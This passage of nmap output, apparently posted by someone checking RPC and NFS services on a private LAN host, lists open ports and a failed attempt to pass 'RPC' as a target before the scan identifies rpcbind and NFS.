902/tcp open unknown 2049/tcp open unknown 3000/tcp open unknown 5666/tcp open unknown 8009/tcp open unknown 8222/tcp open unknown 8333/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 3.81 seconds From the client: [email protected]:~$ nmap -sR RPC 192.168.20.58 Starting Nmap 5.21 ( http://nmap.org ) at 2012-07-04 22:14 EDT Failed to resolve given hostname/IP: RPC. Note that you can't use '/mask' AND '1-4,7,100-' style IP ranges Nmap scan report for 192.168.20.58 Host is up (0.73s latency). Not shown: 988 closed ports PORT STATE SERVICE VERSION 22/tcp open unknown 80/tcp open unknown 111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000) 139/tcp open unknown 445/tcp open unknown 902/tcp open unknown 2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003) 3000/tcp open unknown 5666/tcp open unknown 8009/tcp open unknown 8222/tcp open unknown 8333/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 191.56 seconds

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